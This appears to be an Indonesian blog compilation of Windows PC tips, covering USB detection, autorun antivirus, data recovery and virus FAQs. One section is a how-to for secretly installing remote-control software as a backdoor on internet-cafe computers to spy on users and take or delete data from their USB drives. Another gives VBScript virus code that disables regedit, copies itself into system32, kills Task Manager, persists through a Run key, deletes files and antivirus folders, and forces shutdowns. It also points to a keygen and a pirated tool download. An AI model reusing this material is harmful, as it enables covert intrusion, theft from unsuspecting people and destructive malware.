Masalah yang cukup sering dijumpai dalam penggunaan USB flash disk adalah tidak terdeteksinya perangkat tersebut oleh Windows. ini antara lain ditandai dengan tidak munculnya ikon “removable hardware” pada system tray. Tanda lain adalah tidak adanya drive USB flash disk di Windows Explorer.
Masalah ini cukup sering dijumpai pada komputer yang penggunaan sumber daya sistemnya (apalagi RAM) cukup tinggi sehingga pendeteksian keberadaan perangkat baru menjadi terganggu.
Berikut ini langkah-langkah untuk mengantur pendeteksian USB Disk secara manual di Windows XP
1. Buka menu Add Hardware dengan cara mengklik [Start]>[Control Panel]>[Add Hardware]. Jika menu tersebut belum terlihat, klik [Switch to Classic View] yang ada di menu sebelah kiri.
2. Setelah menu tersebut dipilih, maka akan muncul wisaya yang menuntun pada proses pendeteksian hardware, Klik [Next]
3. Sistem selanjutnya akan memeriksa keberadaan hardware baru yang sudah tertancap namun belum terdeteksi. Kalau USB flash disk sudah berhasil dikenali, muncul salah satu hal dari hal-hal berikut ini : Muncul menu autorun, Pernyataan bahwa USB flash disk mendukung koneksi USB yang lebih cepat, Muncul ikon “Removable hardware “pada systen tray dan Muncul dirive baru di Windows Explorer atau My Computer.
4. Kalau salah satu hal tersebut terjadi, pendeteksian tidak perlu diteruskan. Klik [Cancel] pada tampilan berikutnya.
Nah, biar enggak bolak-balik Control Panel setiap kali ada perangkat USB yang dicolok, buatlah shortcut [Add Hardware] di Quick Launch Toolbar. Langkah-langkah seperti berikut ini.
1. Buka Control Panel dan ubah tampilannya ke mode “klasik” (switch to Classic Mode) seperti langkah 1 di atas.
2. Seret ikon Add Hardware dan jatuhkan ke Quick Launch Toolbar. Kalau toolbar tersebut belum muncul, Anda dapat mengaktifkannya dengan klik kanan pada taskbar, klik [Propertis]>[Taskbar]. Kemudian, beri tanda centang pada [Show Quick Launch].
Selamat mencoba...
Mengatasi Flashdisk Bermasalah
Instalasi Windows XP dengan USB
Teman, saat ini keberadaan laptop mungil tengah menawan hati sebagian besar pengguna komputer jinjing. Bagaimana tidak? Walaupun terkadang spesifikasi sebuah subnotebook tidak semumpuni notebook-notebook berukuran lebih besar, ukurannya yang mini dan kemampuannya yang dapat mengakomodasi kebutuhan berkomputer sehari-hari menjadikan subnotebook sebagai salah satu gadget yang sangat diminati, disamping harganya yang lebih terjangkau, tentu saja.
Langkah-langkah Pembuatan:
1. Tancapkan USB flash disk ke salah satu port USB. Ingat-ingat posisi drive-nya. Apakah F:, G:, H:, dan sebagainya.
2. Saat Anda berada di posisi normal (desktop), masukkan CD instalasi Windows XP ke optical drive. Jika komputer menjalankan proses instalasi secara otomatis, batalkan saja dan tutup semua aplikasi yang tengah berjalan.
3. Unduh dan ekstrak aplikasi yang penulis berikan. Saran penulis, ekstrak seluruh isinya ke sebuah folder, semisal C:USB.
4. Selanjutnya, buka folder di mana Anda mengekstrak aplikasi modul pembuat instalasi, kali ini kita ambil contoh C:USB.
5. Jalankan file bernama “usb_prep8.bat” maka di layar monitor akan tampak jendela Command Prompt berisi macam-macam perintah. Jika sudah muncul tulisan “Press any key to continue,” tekan sembarang tombol untuk konfirmasi.
6. Di layar akan muncul jendela PEtoUSB yang meminta Anda memformat USB flash disk Anda. Tak perlu mengubah setting apa pun, langsung klik Start untuk mulai proses format. Jawab konfirmasi sesuai kebutuhan Anda.
7. Jika sudah selesai, tutup jendela PEtoUSB (jangan menutup jendela Command Prompt yang tadi terbuka ketika Anda menjalankan usb_prep8.bat), maka di layar akan muncul opsi-opsi dari 0 hingga 5.
8. Gunakan opsi 1 untuk memilih sumber file instalasi yang nantinya akan disalin ke flash disk. Disini, tentukan di drive mana Anda menyimpan instalasi Windows XP. Pilih saja optical drive di mana sudah ada CD Windows XP di dalamnya, atau pilih folder pilihan Anda jika Anda telah menyalin file instalasi Windows XP ke folder tertentu.
9. Pilih opsi 3 untuk menentukan di mana Anda mencolok flash disk. Kalau flash disk Anda berada di drive F:, maka ketik F dan tekan ENTER. Jika drive G: maka ketik G dan tekan ENTER, begitu seterusnya berlaku untuk drive lain.
10. Selanjutnya pilih opsi 4 untuk mulai proses pembuatan modul instalasi yang nantinya akan disalin ke flash disk secara otomatis. Jawab apa pun konfirmasi yang muncul dengan Y atau YES atau OK atau bentuk persetujuan lain.
Selesai! Kini flash disk Anda telah siap digunakan untuk instalasi Windows XP! Silahkan melakukan setting pada BIOS subnotebook Anda, dan pilih Removeable Disk (atau apa pun nama lainnya) sebagai media pertama yang dijalankan saat booting.
Mengingat teknik instalasi semacam ini juga tersedia di internet, Anda juga bisa mencarinya via mesin cari. Selamat mencoba…!
Dikutip dari : detikinet.com
Mendeteksi virus komputer dari flasdisk
Virus yang ada pada PC (komputer) bisa dideteksi dengan aplikasi virus portabel yang ada di flash disk (UFD). Berguna untuk mengamankan UFD dari virus dan membasmi virus.
Komputer bisa terinfeksi virus lewat USB flash disk (UFD). Tetapi, dari mana virus di UFD itu berasal. Dari komputer yang sudah terinfeksi, tentunya. Contohnya komputer-komputer di warnet-warnet. Jadi, cegah juga masuknya virus ke dalam UFD. Caranya adalah
dengan memindai komputer yang hendak dicoloki UFD.
Kita dapat menjalankan antivirus yang portable—antivirus yang disimpan di UFD, tak perlu diinstal di komputer untuk bisa berjalan. Dengan antivirus itu, komputer akan dipindai. tetapi tidak butuh waktu yang sedikit, apalgi kalau komputer memiliki file yang sangat banyak. Tetapi, memang seperti itulah kenyataan dalam dunia TI—kenyamanan berbanding terbalik dengan keamanan.
Yang kita butuhkan adalah antivirus portable, seperti AntivirX, ClamWin, dan lain-lain. Kita juga perlu membuat sebuah file yang jalan otomatis ketika UFD dicolok. File itu akan menjalankan antivirus yang ada di UFD. Ini mirip dengan file jalan otomatis yang sering terdapat pada CD instalasi program.
Buka Notepad dan ketikkan baris-baris perintah berikut ini :
[autorun]
Open=antivirus.exe
Action=Open Anti Virus Portable!
Icon=icon.ico
Label=Your_Name
Kalau sudah, simpan dengan nama autorun.inf. Agar tidak jadi file TXT, ubah Save as Type menjadi [All Files].
Berikut ini adalah penjelasan ringkas mengenai perintah-perintah dalam file autorun.inf tadi.
Perintah “Open” adalah perintah untuk membuka antivirus tersebut. Perintah Open diikuti dengan file yang menjalankan antivirus. Jadi, ganti “antivirus.exe” di perintah itu dengan nama file antivirus yang digunakan. Misalnya, nama file antivirusnya “antivirx.exe” maka perintah tersebut menjadi “Open=clamwin.exe”. Nah, kalau file itu berada di dalam folder lain—misalnya folder AntivirX 1.0, perintah itu berubah menjadi “Open=AntivirX 1.0-clamwin.exe”.
Perintah “Action”berguna untuk menampilkan kalimat pada kotak dialog ketika antivirus akan dijalankan. Kalimat yang mengikuti perintah ini boleh diganti dengan kata-kata lain.
Perintah “Icon” berfungsi untuk mengganti ikon standar UFD yang tampil pada Windows Explorer. Enggak ada fungsi khusus yang berkaitan dengan antivirus, ikon itu cuma mempercantik saja. Tentu saja file ikon harus ada juga di UFD. Nama file yang pada contoh “icon.ico” diganti sesuai dengan nama file ikon yang digunakan.
Terakhir, perintah “Label” berfungsi ntuk memberikan nama dari pada UFD. Sama seperti perintah “Icon”, perintah ini juga enggak ada hubungannya dengan usaha pencegahan masuknya virus.
Atribut file autorun.inf itu baiknya dibuat menjadi “Read-Only”--cuma bisa dibaca, tidak bisa diubah-ubah. Kalau tidak bisa diubah, berarti virus tidak akan bisa memodifikasi file tersebut. Caranya begini, klik kanan file itu, lalu klik [Properties]. Pada bagian Attributes, beri tanda centang pada [Read-Only].
Berikut ini adalah penggunaan UFD untuk mendeteksi virus yang ada pada komputer.
1. Masukkan UFD namun jangan membuka flash disk pada komputer. UFD belum dibuka, virus dalam komputer tidak akan masuk ke dalam flash disk atau sebaliknya.
2. Jalankan fungsi jalan otomatis dengan mengklik tombol [OK] pada kotak dialog yang muncul. Antivirus portabel yang ada pada UFD akan berjalan.
3. Scan virus pada komputer, khususnya pada C:-Windows-System32.
4. Kalau ada antivirus melaporkan adanya virus, jangan ragu, komputer itu memang bervirus.
5. Selanjutnya silakan bersihkan komputer itu. Kalau tidak, yah cabut saja buru-buru UFD yang dicolok.
Keterangan:
1. File autorun.inf yang akan menjalankan antivirus secara otomatis berisi baris-baris perintah seperti tampak pada gambar.
2. Ketika dijalankan, muncul sebuah pilihan dengan teks seperti yang dimasukkan pada baris perintah “Action”. Pilih itu dan klik [OK].
Meremote Komputer Orang Lain
Meremote Komputer Orang Lain
Ditulis oleh putuyoga
Halo!
Saya hanya sedikit berbagi tentang remote. Saya pernah datang ke toko buku dan ada buku yang mengupas tentang program ini. Dengan artikel ini mungkin anda bisa lebih hati-hati datang kewarnet siapa tau ketika anda asik2nya main internet dan memasang USB tanpa sadar anda sedang di monitor oleh orang lain dan data penting dalam USB anda bisa saja di ambil dan bahkan dihapus. Dan jaganlah pergunakan program ini untuk merugikan orang lain, Saya tidak bertanggung jawab atas apa yang anda buat dengan program ini(sekedar pengetahuan). silahkan klik disini untuk mendownload programnya sebelum kita mulai !
OK kita mulai!!!
Sering kali kita di warnet, sekolah, kampus ato dimanapun yang penting ada jaringan komputer kita ingin sekali melihat apa yang orang lain liat ato yang mereka kerjakan di komputer mereka. Bukan begitu? He.he! Tanpa bayak omong dalam tutorial ini saya akan membagikan sedikit kebiasaan saya di warnet yaitu bukan sekedar melihat tapi juga kita dapat mengambil alih komputer mereka, Mengambil ato menghapus data, Mengambil data dari USB mereka(kalo di pasang, Peace!), me-restart, Turn Off, ato membuka CD-Rom komputer korban dan bayak lagi.
Disini saya gunakan program Cool! Remote control 1.12+keygen Dalam melakukan remote dengan Program Cool! Remote Control 1.12 di haruskan kita menginstal program tersebut di komputer korban(sebagai BACKDOOR)
Soal Cerita!!(24-072007)
Pada jam 09:00 WIB Saya datang ke warnet dengan niat busuk ingin melihat apa yang dikerjagan orang lain di komputer mereka dan apabila mereka memasang USB saya akan mengambil data penting yang ada dalam USB mereka. Kemudian saya datang ke warnet untuk memasang Cool! Remote control 1.12 sebagai BACKDOOR.
Anggap saja diwarnet ada 20 komputer nah saya login di komputer no 1, kemudian aku beraksi dengan tanpa menunggu lama langsung menginstal Cool! Remote control 1.12, Setelah selesai proses instal saya Log Off dan memutuskan untuk pindah ke komputer no 2, kemudian aku beraksi dengan tanpa menunggu lama langsung menginstal Cool! Remote control 1.12, Setelah selesai proses instal saya Log Off dan memutuskan untuk pindah ke komputer no 3(hehe sori Copi Paste).
Disini saya telah menginstal Cool! Remote control 1.12 di komputer 1 dan 2(sebagai komputer korban). Sekarang saya berada di komputer 3 saya harus menginstal program Cool! Remote control 1.12 untuk me-remote komputer 1 dan 2. Setelah selesai instal sambil menunggu komputer no 1 dan 2 dipakai saya bisa check e-mail terlebih dahulu sapa tau ada surat masuk(he.he).
Setelah ga terlalu lama menanti ada orang juga yang menempati komputer no 1 dan 2. Setelah beberapa saat dengan rasa penasaran ingin melihat apa yang mereka kerjakan aku lagsung menjalankan program Cool! Remote control 1.12. Pada Cool! Remote control 1.12 klik Main=>Connect To. Setelah itu saya akan melihat komputer aktif yang telah terinstal Cool! Remote control 1.12. isi IP korban atau langsung klik nama komputer dan isi juga passwordnya(password ketika seting remote server). Setelah itu kilk ok dan saya sudah terhubung dengan program Cool! Remote control 1.12 pada komputer korban .
Untuk melakukan remote pada program Cool! Remote control 1.12 saya tinggal klik full screen control=>start. (TAAADDDAAAAAAA) komputer korban aku ambil alih dan aku bisa melakukan apapun yang aku mau.
Perlu anda tahu jika saya di komputer 3 maka saya dapat meremote komputer 1 dan 2.
Dan bila anda di komputer 1 maka anda bisa meremote komputer 2 dan 3.
Dan bila anda di komputer 2 maka anda bisa meremote komputer 1 dan 3.
Karena di komputer 1,2, dan 3 telah terinstal program tersebut.
program ama keygenya bisa kalian cari di paman google klo ada waktu aku bisa kirim lewat e-mail
NB: Jika pointer mouse anda masuk ke dalam area monitor remote maka pointer komputer korban anda yang kuasai
Cara mudah bikin virus
cara mudah bikin virus "versi 1"
Sebelumnya, berikut ini cara-cara paling gampang untuk membuat virus.
semua hal dibawah ini hanya sebagai penambah pengetahuan kita saja
dan tidak boleh disalah gunakan untuk hal-hal yang bersifat merusak.
Dan saya tidak bertanggung jawab jika itu terjadi. Sekarang kita akan
membahas cara gampang membuat virus pake vbs file.
pertama, berikut ini hal-hal yang wajib kita siapin sebelum membuat virus.
# seperangkat komputer berikut monitor,cpu,mouse,kibor, dll (wajib)
# kita harus menyiapkan sebuah file yang ber-ekstensi vbs (*.vbs)
# secangkir teh anget.
# akan lebih afdoL kalo ditemenin lagu2nya rhcp (aku ngefans ma rhcp)
Untuk eksekusi pertama, yang dilakukan virus biasanya mengubah registry.
Sebenarnya udah aku bahas di blogku ini. tapi nggak papa aku ulangin aja.
biar keliatan resmi :-). misalnya:
1. mendisable regedit. Yang kita tulis:
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide
sebenarnya banyak cara untuk mendisable regedit. misalnya kek gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT_USERsoftware\microsoft\windows\currentversion\policies\systemdisableregistrytools", 1, "REG_DWORD"
lalu mengubah registry yang lain. yang nggak aku bahas disini karena
udah pernah aku bahas pada postingan yang lain di blogku ini.
2. mengopikan diri ke direktory lain
CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"
Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfile wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary
3.Membunuh proses.
digunakan untuk membunuh proses
(proses adalah program yang sedang berjalan)
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide
4.Menjalankan virus pada saat startup atau saat windows dihidupkan.
menggunakan regedit
On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus"
, "c:\windows\system32\virus.vbs"
(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)
5.Menghapus File / Folder
agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)
6.Merestart Windows
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
merestart windows dalam waktu 60 sekon
7.Meng-ShutDown Windows
CreateObject("WScript.Shell").run "shutdown -s-f -t 60", vbhide
mematikan windows dalam waktu 60 sekon :)yang beda cuman
"shutdown -s-f -t 60"
S = untuk shutdown dan
R = untuk reboot\restart
8. Mengaktifkan Virus Pada Waktu tertentu
If day(now) = 1 and month(now) = 1 and year(now) = 2007 then
'(masukkan kode virus disini)
End if
'misalnya kalo mau mengaktifkan pada tanggal 1, bulan 1
'dan tahun 2007
Ok. Pelajaran bikin virus untuk hari ini saya kira udah cukup.
walaupun udah sering dibahas,, nggak papalah,,,, itung-itung
buat nambahin pengetahuan kita. dan semoga bermanfaat :-)
Cegah virus melalui flashdisk
Dengan tidak Mengnonaktifkan Autorun/Autoplay kita bisa melihat isi
Flashdisk/memori/kaset/USB kita.siapa tahu ada Virus.Jadi, Virus Tersebut Belum Sempat masuk ke Komputer kita deh ?
Caranya :
Masuk ke Regedit
*START/RUN/REGEDIT.EXE
*HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
*Buat key Baru (klik kanan,New,DWORD Value) Beri Nama "NoDriveAutoRun" Apabila sudah ada tinggal
Double klik File yang kita buat tersebut.
Pilih Base Decimal dan isikan Value Data Dengan Nilai "67108863"
Trus Restart Komputer.
Bakar cd tanpa batas
Langsung Ajaa.
Jika yu terbiasa menggunakan Nero Burning ROM sebagai peranti lunak pembakar CD, pasti yu hafal betul dengan perilaku Nero yang secara otomatis menyesuaikan kemampuan maksimal CD dengan burner-nya.
Misalkan, jika yu memasukkan CD dengan kemampuan bakar 32x pada kandar CD-RW berkecepatan 52x, maka saat yu membakar CD ini opsi kecepatan yang tersedia "hanya" akan mencapai 32x saja
Repotnya, tidak semua kecepatan bakar riil suatu CD dapat dikenali oleh Nero. Beberapa jenis CD kosong yang kurang bermutu seringkali memiliki kecepatan bakar di bawah angka yang tertera pada keping CD.
Sesungguhnya CD tersebut masih bisa "dipaksa" agar mau dibakar dengan kecepatan yang tertera pada kepingan tersebut. Caranya begini.
1. Jalankan Registry Editor dengan mengklik [Start] > [Run...] kemudian ketik regedit pada menu Run dan klik [OK].
2. Pada Registry Editor, masuklah ke subkey HKEY_CURRENT_USER\Software\Ahead\Nero Burning ROM\Recorder.
3. Di jendela bagian kanan, klik kanan mouse lalu pilih [New] > [DWORD value].
4. Namakan DWORD value baru tersebut dengan nama UseStaticWriteSpeedTable.
5. Berikan nilai 1 sebagai value data UseStaticWriteSpeedTable ini.
6. Klik [OK] dan tutup Registry Editor.
7. Restart Windows
Nah..apabila masih belum bisa juga, ini ada lagi tips ..."NYALAKAN KOREK API.....BAKAR TUH CD....
Siapa Bilang Komunikasi Parallel Lebih Cepat
Jika Anda perhatikan, semua teknologi transmisi data sedang bermigrasi dari komunikasi parallel ke komunikasi serial. Standar IDE untuk hard disk adalah serial, Serial ATA (SATA). PCI bus juga sedang bertransformasi ke serial, PCI Express.
Perbedaan antara transmisi serial dengan parallel adalah transmisi serial mentransmisikan 1 bit dalam 1 waktu sedangkan transmisi parallel mentransmisikan beberapa bit dalam 1 transmisi. Hal ini menyebabkan transmisi parallel lebih cepat dibanding transmisi serial.
Hal tersebut, yang dipercayai banyak orang tidak sepenuhnya benar. Komunikasi serial dapat lebih cepat dibanding komunikasi parallel. Yang dibutuhkan hanyalah frekuensi pengiriman data yang lebih tinggi.
Dalam komunikasi parallel, karena transmisi dilakukan pada waktu yang sama, maka dibutuhkan kabel lebih banyak. Sementara pada transmisi serial, kabel yang digunakan tetap dua. Hal ini menyebabkan kabel untuk transmisi serial lebih kompak dibanding kabel untuk transmisi parallel.
Dengan semakin tingginya frekuensi, semakin tinggi juga gangguan elektromagnetik. Setiap kabel dapat diperlakukan sebagai antenna, menangkap noise yang ada di sekitarnya, dan mengganggu data yang sedang ditransmisikan. Dalam komunikasi parallel, karena banyaknya kabel yang digunakan, masalah gangguan elektromagnetik menjadi lebih serius. Di lain pihak, komunikasi serial yang hanya menggunakan dua kabel lebih mudah mengatasi masalah ini dengan melindungi kedua kabel yang digunakan.
Perbedaan lain, yang juga menguntungkan komunikasi serial adalah walaupun secara teoritis komunikasi parallel mengirimkan data pada saat yg bersamaan, data tersebut tidak diterima pada saat yang bersamaan. Hal ini mengganggu perangkat yang membutuhkan kinerja tinggi karena menunggu adalah membuang-buang waktu.
Kelemahan komunikasi parallel juga adalah masalah half-duplex. Kabel yang digunakan untuk mengirim dan menerima data adalah kabel yang sama. Bandingkan dengan serial yang full-duplex, dimana masing masing pengiriman dan penerimaan data menggunakan 2 kabel berbeda.
Jadi, dengan begitu banyak kekurangan transmisi parallel dibanding transmisi serial, Anda bisa memahami mengapa teknologi terbaru menggunakan serial.
AS ( redaksi@wartaegov.comredaksi@wartaegov.com Alamat e-mail ini diproteksi dari spabot, silahkan aktifkan Javascript untuk melihatnya )
Apa itu Virus Komputer
Virus komputer adalah program komputer yang dapat menggandakan atau menyalin dirinya sendiri. Tujuan pembuatannya untuk merusak sistem komputer. Virus merupakan program yang dapat menyamarkan dirinya menjadi file video, file audio, dokumen word, serta dapat menyamar dalam bentuk apapun untuk menipu pengguna komputer. Penyamaran tersebut bertujuan agar pengguna komputer tertarik untuk meng-click sehingga virus tersebut aktif. Virus akan menggandakan diri sebanyak-banyaknya di dalam komputer dan berbagai media, contohnya disket, flash disk, dll.
Banyak hal yang kadang mengaburkan definisi virus komputer yang sebenarnya. Pemahaman yang benar sangat diperlukan terutama oleh kalangan awam. Tak jarang karena definisi yang terlalu dibesar-besarkan membuat orang sudah ngeri duluan untuk menghidupkan komputer. Agar tidak ada pemahaman yang salah dan Anda tetap bisa mengoperasikan komputer dengan nyaman, 10 pertanyaan di bawah mungkin bisa membantu menjelaskan apa dan bagaimana virus komputer.
1. Apa itu virus komputer?Virus komputer adalah sebuah program kecil yang bisa menggandakan dirinya sendiri dalam media penyimpan komputer. Virus juga bisa langsung ataupun tak langsung, menginfeksi, mengkopi maupun menyebar program file yang bisa dieksekusi maupun program yang ada di ‘sektor’ dalam sebuah media penyimpan. Virus juga bisa menginfeksi file yang tidak bisa dieksekusi (file data) dengan menggunakan macros. Intinya kemampuan menempel dan menulari pada sebuah program virus juga bukanlah suatu kecelakaan ataupun kelemahan perangkat komputer karena pada dasarnya penulis virus kebanyakan jago menulis program komputer.
2. Mengapa disebut virus?
Uji coba kemampuan mereplika diri sendiri virus secara umum pertama kalinya dimunculkan pada 1960 untuk membuktikan sebuah teori yang ditulis pada 1949. Kata ‘virus’ itu sendiri baru digunakan pada 1984 oleh Professor Fred Cohen yang artinya “suatu bentuk yang mampu mereplika dirinya sendiri�. Virus komputer baru muncul beberapa tahun kemudian sekitar tahun 1986-1987. Julukan virus untuk komputer ini memang tepat karena adanya persamaan sifat yang dimiliki. Virus komputer seperti juga virus dalam dunia biologi sama-sama memiliki kemampuan untuk mereplika dirinya sendiri, sama-sama berukuran kecil dibanding korban yang diserang serta sama-sama butuh korban untuk tetap hidup.
3. Apakah dampak penularan virus?
Semua virus komputer pada akhirnya selalu meminta bagian dalam ruang media penyimpan, sebagian lainnya malah menyita ruang yang tersisa pada memori untuk mempengaruhi kinerja komputer. Sebagai tambahan beberapa virus juga dibuat untuk memunculkan dampak yang sangat buruk pada komputer korban hingga memacetkan kerja komputer serta merusak file yang lain. Beberapa virus lainnya juga membuat kinerja memori jadi tidak stabil atau membuat beberapa aplikasi tidak bisa berjalan semestinya. Beberapa virus yang dibuat sekitar 8-5 tahun lalu malah memang sengaja ditujukan untuk merusak file lain yang ada di dalam media penyimpan.
4. Bagaimana dengan virus yang merusak?
Virus yang paling ditakuti adalah yang dengan sengaja dibuat untuk merusak, menghapus atau bahkan menghapus seluruh file yang lain. Virus yang merusak seperti ini tidak mempedulikan kepentingan orang lain, tak peduli meski korbannya tidak pernah melakukan hal yang menyakiti orang lain sekalipun. Ironisnya kebanyakan penulis virus membuat virus yang sangat merusak hanya untuk mendapat pengakuan yang paling hebat dari komunitas mereka sendiri. Tak jarang kreator yang menulis virus hanya bertujuan untuk mendapat perhatian dari pihak lain tanpa peduli separah apa dampak dari virus yang mereka ciptakan.
5. Siapa pembuat virus dan mengapa dibuat?
Siapapun dan di mana pun bisa membuat virus asal punya dasar punya kemampuan pemrograman yang cukup. Beberapa virus juga ada yang dibuat untuk kepentingan riset dan demonstrasi, beberapa lainnya malah ada yang hanya sekedar menampilkan lelucon oleh penulis yang suka menampilkan olok-olok. Beberapa virus juga ada yang dibuat oleh orang yang mempelajari pemrograman untuk melengkapi sesuatu. Dalam banyak kasus untuk virus, hasil tujuan yang terakhir akhirnya lebih banyak diekploitisir oleh pihak lain yang tidak bertanggung jawab.
6. Apa tanda penularan virus?
Memang benar, beberapa virus berdampak munculnya beberapa hal yang ganjil dalam kinerja komputer. Dampak tersebut bisa saja berupa jalannya proses yang lambat, memori yang berkurang, menyalanya lampu hardis tanpa alasan tertentu dan masih banyak lagi. Keberadaan virus kadang ada yang nyata-nyata bisa dideteksi dari tampilan yang mereka buat, namun tak jarang ada pula yang tidak menampakkan wujud saat berhasil menyerang korbannya. Sebaiknya kalau ada yang mencurigakan jangan terburu menduga ada virus dalam komputer anda, beberapa software yang legal juga ada yang kadang memunculkan hal yang tidak Anda mengerti.
7. Bagaimana virus menyebar?
Kalaupun resiko terhadap komputer korban relatif kecil, penyebaran virus ini terjadi setiap hari. Virus terus berjalan menyebar dari satu komputer ke komputer yang lain. Dulu penyebaran termudah terjadi seiring berpindahnya disket dari komputer satu ke komputer lain. Seiring perkembangan internet virus tidak lagi butuh disket untuk mencapai komputer korban, cukup memanfaatkan email dari virus bisa terus terkirim secara otomatis dari satu komputer ke komputer lainnya. Kalaupun Anda beruntung tidak pernah memasukkan disket bervirus ataupun mendapat kiriman email bervirus, file yang download tetap saja rawan dari virus.
8. Haruskah memakai software antivirus?
Kalau Anda menaruh perhatian pada ancaman virus, maka sudah selayaknya Anda memanfaatkan software anti virus sebelum Anda terkena serangannya. Bagaimanapun seperti penyakit dalam tubuh manusia, masih lebih baik menangkal penularan daripada mengobati komputer akibat virus. Kalau sistem Anda bebas virus maka software anti virus bisa membantu untuk mencegah muculnya virus dalam komputer Anda. Namu jangan lupa karena virus terus berkembang dan diperbaharui maka Anda juga wajib terus memperbaharui software antivirus yang Anda pakai. Paling tidak Anda rajin mendapatkan up date yang selalu dikeluarkan dari pembuatnya yang bisa diwonload langsung. Dengan demikian Anda akan selalu bisa terlindungi dari virus, yang baru muncul sekalipun.
9. Bagaimana caranya melindungi data?
Virus adalah ancaman, namun hilangnya data juga belum tentu disebabkan oleh virus. Kalau Anda siap menyimpan file data maka Anda juga harus siap untuk kehilangan. Kecuali Anda sudah menyiapkan kopi di tempat lain. Altenatif terbaik mungkin adalah menggandakan data penting milik Anda dalam tape drive maupun CD-Rewritable. Kalau Anda sudah melakukannya maka resiko hilangnya data baik karena virus ataupun sebab lain bisa dikurangi.
10. Bagaimana caranya membuat disket booting darurat?
Untuk membuat disket booting darurat, Anda bisa memanfaatkan fitur tertentu baik dari sistem operasi windows itu sendiri maupun dari software pihak ketiga. Dari sistem operasi, kalau Anda memakai Windows, maka Anda bisa membuatnya dengan cara memanfaatkan explorer dalam windows. Dengan software pihak ketiga seperti Norton Utilities, Anda juga akan mendapat tawaran untuk membuat rescue disk agar Anda tetap bisa menyelamatkan data saat terjadi serangan virus.
Mengembalikan Data Hardisk yang Hilang
Setelah beberapa minggu tidak membicarakan Komputer, kali ini saya menulis lagi posting tentang komputerisasi. Disini saya ingin memberikan tips tentang bagaimana mengembalikan data dalam hardisk yang hilang karena virus menyerang partisi hardisk. Saya sempet mengalami masalah ini saat membetulkan komputer temen saya. Mau dibalikin gimana? Partisi hardisknya aja hilang. Tetep tenang, stay cool, berfikir. Dapat dah..hehehe, begini:
Pada dasarnya data yang tersimpan dalam hardisk memang sangatlah rentan. Kita tidak bisa memprediksi atau selalu menyimpulkan seaman apa data kita disana, apalagi saat ini akses internet sudah menjadi suatu kebutuhan, dan akhirnya, penyebaran virus komputerpun menjadi lebih mudah. Nah beginilah yang terjadi jika komputer tidak dilengkapi antivirus yang up to date, yang selalu up to date saja masih bisa kena, apalagi yang tidak. Bila virus yang nyasar ke komputer anda terlanjur menghapus partisi hardisk bisa dipastikan semua data yang ada dalam hardisk akan menghilang.
Bagaimana cara mengembalikan data-data penting tersebut?
* Sebelumnya kita siapkan dulu beberapa tool, seperti partition magic untuk membuat partisi serta utility recovery, saya ambil contoh Easyrocovery Profesional dari Ontrack atau Phoenix stellar.
* Pastikan keberadaan hardisk yang hilang partisinya lewat BIOS. Bila telah terdeteksi, jalankan komputer seperti biasa.
* Install dulu software partition magic kemudian jalankan. Software ini digunakan untuk membuat partisi baru karena pada dasarnya hardisk yang hilang partisinya akibat virus harus dibuatkan partisi baru agar windows bisa mengenali.
* Setelah menjalankan partition magic, buat partisi, format hardisk tadi dengan sesuai sistem yang sebelumnya (misal NTFS atau FAT32). Perlu diketahui juga hardisk yang partisinya hilang, maka sistem biasanya mendeteksi hardisk belum terformat, jadi saat anda membuat satu partisi, secara otomatis hardisk tadi akan terformat juga.
* Buka explore pastikan keberadaan hardisk atau partisi yang baru tadi. Pasti kosong, hehe namanya juga baru diformat.
* Selanjutnya instal dan jalankan aplikasi recovery, contoh disini menggunakan easyrecovery pro dari ontrack.
* Klik data recovery terus pilih format recovery, dan klik hardisk yang baru di format tadi.
* Sabar menunggu sampai proses selesai, lama atau tuidaknya tergantung besar kapasitas hardisk tadi, semakin besar semakin lama.
* Setelah proses scaning selesai, anda bisa langsung merecovery semuanya atau memilih beberapa data saja. Kalau ingin merecovery beberapa data saja, pilih data tadi kemudian klik next.
* Pilih tempat baru untuk meletakkan data tadi dan klik next.
Saya doakan dari sini semoga datanya bisa kembali semuanya. Jika ada salah-salah kata saya mohon maaf syukur-syukur ada yang ngelurusin. Semoga sedikit atau banyak bisa bermanfaat bagi anda.
download link easyrecovery Profesional : http://w15.easy-share.com/1700176835.html
(tapi filenya gede, kalo ada yang koneksinya tidak begitu bagus, lebih enak sewa di rental)
Meningkatkan Keamanan PC
Banyak hal menjengkelkan yang bisa terjadi pada komputer kita. Misalnya ada orang yang baik sengaja atau pun tidak sengaja menghapus file-file penting kita. Atau merubah berbagai konfigurasi pada Windows. Selain itu bisa saja orang lain melihat file-file Anda yang bersifat rahasia. Kejadian seperti itu sangat mungkin terjadi bila komputer Anda merupakan komputer "umum". Maksudnya banyak orang lain yang turut memakai, misalnya teman, adik atau saudara. Ingat, seorang pemula (dalam hal komputer) biasanya sangat senang mencoba-coba segala sesuatu pada komputer. Nah, untuk menghindari hal-hal yang tidak kita inginkan yang terjadi pada komputer kita Anda bisa mencoba berbagai langkah berikut ini :
1. Password BIOS
